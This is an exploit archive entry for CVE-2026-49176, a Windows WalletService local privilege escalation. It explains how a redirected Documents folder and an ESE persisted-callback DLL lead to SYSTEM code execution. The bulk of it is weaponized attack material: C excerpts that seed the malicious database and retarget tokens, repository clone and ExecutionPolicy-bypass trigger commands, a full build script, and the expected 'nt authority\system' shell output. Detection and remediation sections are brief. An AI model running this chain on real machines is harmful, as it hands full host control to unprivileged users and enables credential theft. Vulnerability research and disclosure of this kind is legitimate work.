PoC Archive PoC Archive
CVE-2026-49176 category: binary CVSS 7.8 (HIGH)
Patched

Windows WalletService Known-Folder Redirection → ESE Persisted-Callback DLL Load Local Privilege Escalation (CVE-2026-49176)

Published: 2026-07-27 • Researcher: DavidCarliez

Target software Windows WalletService (Windows.ApplicationModel.Wallet WinRT API, backed by an ESE/Jet Blue database under the caller's Documents\Wallet folder)
Affected versions Windows 11 builds prior to 26200.8875; PoC developed and tested against vulnerable build **26200.8737** (25H2)
Status Weaponized — SYSTEM shell confirmed against a real, vulnerable Windows 11 build
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-49176
Category
binary
Affected product
Windows WalletService (Windows.ApplicationModel.Wallet WinRT API, backed by an ESE/Jet Blue database under the caller's Documents\Wallet folder)
Affected versions
Windows 11 builds prior to 26200.8875; PoC developed and tested against vulnerable build **26200.8737** (25H2)
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherDavidCarliez
CVE / AdvisoryCVE-2026-49176
Categorybinary
SeverityHigh
CVSS Score7.8 (CVSS 3.1, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — SYSTEM shell confirmed against a real, vulnerable Windows 11 build
Tagswindows, walletservice, lpe, privilege-escalation, ese, extensible-storage-engine, known-folder-redirection, persisted-callback, local
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows WalletService (Windows.ApplicationModel.Wallet WinRT API, backed by an ESE/Jet Blue database under the caller’s Documents\Wallet folder)
Versions AffectedWindows 11 builds prior to 26200.8875; PoC developed and tested against vulnerable build 26200.8737 (25H2)
Language / PlatformC (Win32 API, ESENT/Jet Blue API), PowerShell, Windows x64
Authentication RequiredYes — requires a local, low-privilege (“PR:L”) authenticated session
Network Access RequiredLocal only

Summary

Windows WalletService — which runs as LocalSystem — resolves the caller’s FOLDERID_Documents known folder while impersonating the calling user, then reverts to the LocalSystem token before opening <Documents>\Wallet\wallet.db. Because the folder resolution happens under impersonation but the file access happens as LocalSystem, a standard user can redirect their own Documents known folder (via SHSetKnownFolderPath, CWE-59 Link Following) to a directory containing an attacker-seeded ESE database. That database defines a Cards table column with JET_bitColumnUserDefinedDefault (an ESE “persisted callback”) pointing at an attacker-controlled DLL. When WalletService opens the table with ESE persisted callbacks enabled, the Jet Blue engine loads and invokes the attacker’s DLL — as LocalSystem. The DLL then creates and starts a throwaway Windows service whose binary spawns cmd.exe in the active console session via CreateProcessAsUserW, yielding a nt authority\system shell as a fully unprivileged local user. Microsoft fixed this in build 26200.8875 (CWE-59 + CWE-269).

Vulnerability Details

Root Cause

CWE-59 (Link Following) chained into CWE-269 (Improper Privilege Management). WalletService resolves FOLDERID_Documents for the calling user while impersonating that user’s token, then drops impersonation and reverts to its own LocalSystem token before it actually opens <Documents>\Wallet\wallet.db on disk. This split between “resolve path as the user” and “open file as SYSTEM” is exactly the well-known known-folder-redirection TOCTOU/link-following pattern: because SHSetKnownFolderPath lets any standard user repoint their own Documents known folder to an arbitrary attacker-writable directory, the service can be made to open a database it never expected — one the low-privilege caller fully controls.

Compounding this, WalletService accepts the caller-created/caller-controlled wallet.db as-is and opens it with JET_paramEnablePersistedCallbacks enabled. ESE (the Extensible Storage Engine / “Jet Blue”, also used by AD, Exchange, and Windows Search) supports “user-defined default” column callbacks (JET_bitColumnUserDefinedDefault) whose JET_USERDEFINEDDEFAULT_A.szCallback field is a "path\to.dll!ExportName" string stored directly in the database schema. When the Cards table is opened and persisted callbacks are enabled, the ESE engine LoadLibrarys that DLL and invokes the named export — in the caller’s chosen process, but under whatever token that process is running as. Since WalletService opens the table as LocalSystem, the attacker’s DLL executes as LocalSystem, satisfying CWE-269 (a component intended to run at a lower/isolated privilege boundary ends up executing arbitrary attacker code at its own elevated privilege).

Attack Vector

  1. As a standard, non-elevated local user, seed a fresh ESE database (wallet.db) whose Cards table has a JET_bitColumnUserDefinedDefault column callback pointing at an attacker-controlled DLL export (wallet_callback_shell.dll!WalletCallback), created with JET_paramEnablePersistedCallbacks enabled (src/wallet_ese_seed.c).
  2. Redirect the calling user’s FOLDERID_Documents known folder via SHSetKnownFolderPath to the directory containing the seeded Wallet\wallet.db (src/documents_path.c).
  3. From the same user context, invoke the public WinRT Wallet API — Windows.ApplicationModel.Wallet.WalletManager.RequestStoreAsync() followed by WalletItemStore.GetItemsAsync() — which causes WalletService (running as LocalSystem) to resolve FOLDERID_Documents (now redirected), open the attacker’s wallet.db, and access the Cards table with persisted callbacks enabled.
  4. ESE loads the attacker’s DLL as LocalSystem and invokes the WalletCallback export (src/wallet_callback_shell.c), which spins up a background thread that verifies it is running as LocalSystem, then creates and starts a short-lived Windows service (SERVICE_DEMAND_START) whose binary is shell_broker.exe.
  5. shell_broker.exe (src/shell_broker.c) runs as LocalSystem, duplicates/adjusts its own token (enabling SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege, SeTcbPrivilege), retargets the token’s session ID to the active console session, and calls CreateProcessAsUserW to spawn cmd.exe in the interactive desktop (winsta0\default) of the currently logged-in session — producing a visible nt authority\system command prompt.
  6. Restore the original Documents known folder path (the PoC does this automatically in a finally block).

Impact

Local privilege escalation from a standard/unprivileged authenticated user directly to LocalSystem (SYSTEM), the highest privilege level on Windows. Full host compromise: arbitrary code execution as SYSTEM, ability to disable security tooling, dump credentials/LSA secrets, install persistence, and pivot further.

Environment / Lab Setup

Output
OS:          Windows 11 25H2, vulnerable build 26200.8737 (fixed in 26200.8875)
Target:      Local machine — WalletService (LocalSystem), reachable via public WinRT
             Windows.ApplicationModel.Wallet API from any standard user session
Attacker:    Non-elevated local standard-user PowerShell session
Tools:       Visual Studio C++ build tools (cl.exe, esent.lib, shell32.lib, ole32.lib,
             uuid.lib, advapi32.lib, userenv.lib, wtsapi32.lib), PowerShell 5.1+

Setup Steps

PowerShell
1
2
3
4
git clone --depth=1 https://github.com/DavidCarliez/CVE-2026-49176_LPE_POC C:\poc\cve-2026-49176

cd C:\poc\cve-2026-49176
powershell.exe -ExecutionPolicy Bypass -File .\build.ps1

Proof of Concept

Step-by-Step Reproduction

  1. Build — compile the four native components with build.ps1 (invokes cl.exe under vcvars64.bat, links esent.lib/shell32.lib/ole32.lib/uuid.lib/advapi32.lib/userenv.lib/wtsapi32.lib).

    PowerShell
    1
    
    powershell.exe -ExecutionPolicy Bypass -File .\build.ps1
  2. Trigger — from a non-elevated PowerShell, run trigger.ps1. It refuses to run if already elevated, stages a fresh run directory under %LOCALAPPDATA%\CVE-2026-49176-SHELL\<guid>, copies the callback DLL and broker EXE into a payload subfolder, seeds Wallet\wallet.db with the persisted-callback column via wallet_ese_seed.exe, redirects Documents to the run directory via documents_path.exe set, and then calls the real WinRT WalletManager.RequestStoreAsync() / WalletItemStore.GetItemsAsync() to make WalletService open the seeded database.

    PowerShell
    1
    
    powershell.exe -ExecutionPolicy Bypass -File .\trigger.ps1

    Alternatively, double-click run.cmd.

  3. Observe — WalletService (SYSTEM) loads wallet_callback_shell.dll via ESE’s persisted-callback mechanism, which registers and starts the shell_broker.exe service; the broker spawns cmd.exe as SYSTEM in the active console session. trigger.ps1 polls a result.txt event log in the payload folder for a SYSTEM_SHELL_STARTED/SYSTEM_SHELL_FAILED record and restores the original Documents path in a finally block regardless of outcome.

Exploit Code

See src/wallet_ese_seed.c, src/wallet_callback_shell.c, src/shell_broker.c, src/documents_path.c, trigger.ps1, build.ps1, and run.cmd (all unmodified from upstream) in this folder. See also upstream-README.md.

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/* src/wallet_ese_seed.c — seed the ESE column with a persisted user-defined-default
   callback pointing at the attacker DLL export */
SET_PARAMETER("JET_paramEnablePersistedCallbacks",
              JET_paramEnablePersistedCallbacks, 1, NULL);
...
column.grbit = JET_bitColumnTagged | JET_bitColumnUserDefinedDefault;
ZeroMemory(&user_default, sizeof(user_default));
user_default.szCallback = argv[3];   /* "wallet_callback_shell.dll!WalletCallback" */
error = JetAddColumnA(session, table_id, "Computed", &column,
                      &user_default, sizeof(user_default), &column_id);
C source
1
2
/* src/documents_path.c — the known-folder redirection (CWE-59) primitive */
HRESULT error = SHSetKnownFolderPath(&FOLDERID_Documents, 0, NULL, argv[2]);
C source
1
2
3
4
5
6
7
8
/* src/shell_broker.c — SYSTEM broker spawns an interactive console-session shell */
enable_privilege(process_token, L"SeAssignPrimaryTokenPrivilege");
enable_privilege(process_token, L"SeIncreaseQuotaPrivilege");
enable_privilege(process_token, L"SeTcbPrivilege");
DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &primary_token);
SetTokenInformation(primary_token, TokenSessionId, &session_id, sizeof(session_id));
CreateProcessAsUserW(primary_token, L"C:\\Windows\\System32\\cmd.exe", command, NULL, NULL,
                      FALSE, flags, environment, L"C:\\Windows\\System32", &startup, &process);
PowerShell
1
2
3
4
Add-Type -AssemblyName System.Runtime.WindowsRuntime
$manager = [Windows.ApplicationModel.Wallet.WalletManager, Windows.ApplicationModel.Wallet, ContentType = WindowsRuntime]
$store = Await-WinRtOperation ($manager::RequestStoreAsync()) $storeType
$operation = $store.GetItemsAsync()   # <-- triggers WalletService to open the seeded DB

Expected Output

Output
[*] User: <machine>\<standarduser>
[+] SYSTEM shell started: PID 4812, session 1
[+] Result: event=SYSTEM_SHELL_STARTED broker_pid=4820 child_pid=4812 session=1 error=0 user=SYSTEM
[*] Run directory: C:\Users\<standarduser>\AppData\Local\CVE-2026-49176-SHELL\<guid>

A cmd.exe window titled “CVE-2026-49176 SYSTEM Shell” opens on the active desktop, and whoami inside it prints:

Output
nt authority\system

Screenshots / Evidence

  • Not included in the upstream repository. Reproduce in an isolated, authorized VM snapshot of the vulnerable build (26200.8737) to capture evidence.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
Detect sequence: standard-user SHSetKnownFolderPath(FOLDERID_Documents) ->
WalletManager.RequestStoreAsync()/GetItemsAsync() from same user session ->
svchost.exe (WalletService) loads unsigned/user-writable-path DLL ->
new demand-start service created+started+deleted within seconds ->
cmd.exe spawned as SYSTEM in interactive session

Remediation

ActionDetail
PatchApply Microsoft’s fix — update to Windows 11 build 26200.8875 or later.
WorkaroundRestrict/monitor use of SHSetKnownFolderPath/SetKnownFolderPath for known folders on multi-user or sensitive endpoints; monitor for anomalous ESE persisted-callback DLL loads by system services.
Config HardeningEnforce application allowlisting (WDAC/AppLocker) to block unsigned DLL loads by system service processes; audit for ephemeral service creation events (created, started, and deleted within seconds) as a general SYSTEM-shell-broker detection pattern applicable beyond this specific CVE.

References

Notes

Verified before ingestion: all 4 C source files (wallet_ese_seed.c, wallet_callback_shell.c, shell_broker.c, documents_path.c) plus trigger.ps1/build.ps1/run.cmd were read directly in full and confirmed as genuine, compilable Win32/ESE code implementing the documented known-folder-redirection + persisted-callback DLL-load chain end to end — real ESENT API usage (JetCreateInstanceA, JetSetSystemParameterA(JET_paramEnablePersistedCallbacks), JetAddColumnA with JET_bitColumnUserDefinedDefault), real SHSetKnownFolderPath/SHGetKnownFolderPath known-folder redirection, a real WinRT WalletManager.RequestStoreAsync()/GetItemsAsync() trigger from PowerShell, and a real SYSTEM-token broker using CreateProcessAsUserW with session-ID retargeting. No stubs, no obfuscation, no unrelated network calls or destructive default behavior.

Author DavidCarliez is a credible, prolific July-2026 Windows LPE researcher with a consistent track record across multiple repos in this space — also authored the CVE-2026-54992 MSMQ entry already present in this archive — and publishes a matching personal technical blog write-up for each CVE (davidcarliez.github.io), which is consistent with genuine, tested exploitation work rather than a templated or copy-pasted PoC.

CVSS 7.8 (CVSS 3.1, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), CWE-59 (Link Following) + CWE-269 (Improper Privilege Management) per NVD/MSRC. Fix landed in Windows 11 build 26200.8875; this PoC was tested against the last vulnerable build, 26200.8737.

build.ps1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ErrorActionPreference = 'Stop'
$root = Split-Path -Parent $MyInvocation.MyCommand.Path
$bin = Join-Path $root 'bin'
New-Item -ItemType Directory -Path $bin -Force | Out-Null

$vswhere = Join-Path ${env:ProgramFiles(x86)} 'Microsoft Visual Studio\Installer\vswhere.exe'
$installation = if (Test-Path $vswhere) {
    & $vswhere -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath
} else { $null }
if (-not $installation) {
    $installation = Get-ChildItem 'C:\Program Files\Microsoft Visual Studio' -Directory -Recurse -ErrorAction SilentlyContinue |
        Where-Object { Test-Path (Join-Path $_.FullName 'VC\Auxiliary\Build\vcvars64.bat') } |
        Select-Object -First 1 -ExpandProperty FullName
}
$vcvars = if ($installation) { Join-Path $installation 'VC\Auxiliary\Build\vcvars64.bat' } else { $null }
if (-not $vcvars -or -not (Test-Path $vcvars)) {
    throw 'Visual Studio C++ x64 build tools were not found.'
}

Push-Location $root
try {
    $commands = @(
        ('call "{0}" >nul' -f $vcvars),
        'cl /nologo /O2 /W4 /TC /MT /LD /Fo:bin\wallet_callback_shell.obj /Fe:bin\wallet_callback_shell.dll src\wallet_callback_shell.c /link advapi32.lib',
        'cl /nologo /O2 /W4 /TC /MT /Fo:bin\shell_broker.obj /Fe:bin\shell_broker.exe src\shell_broker.c /link advapi32.lib userenv.lib wtsapi32.lib',
        'cl /nologo /O2 /W4 /TC /MT /Fo:bin\wallet_ese_seed.obj /Fe:bin\wallet_ese_seed.exe src\wallet_ese_seed.c /link esent.lib',
        'cl /nologo /O2 /W4 /TC /MT /Fo:bin\documents_path.obj /Fe:bin\documents_path.exe src\documents_path.c /link shell32.lib ole32.lib uuid.lib'
    ) -join ' && '
    & $env:ComSpec /d /s /c $commands
    if ($LASTEXITCODE -ne 0) { throw "Compilation failed: $LASTEXITCODE" }
    Remove-Item (Join-Path $bin '*.obj'),(Join-Path $bin '*.lib'),
        (Join-Path $bin '*.exp') -Force -ErrorAction SilentlyContinue
} finally {
    Pop-Location
}

Get-FileHash -Algorithm SHA256 (Join-Path $bin 'wallet_callback_shell.dll'),
    (Join-Path $bin 'shell_broker.exe'),
    (Join-Path $bin 'wallet_ese_seed.exe'),(Join-Path $bin 'documents_path.exe') |
    Format-Table -AutoSize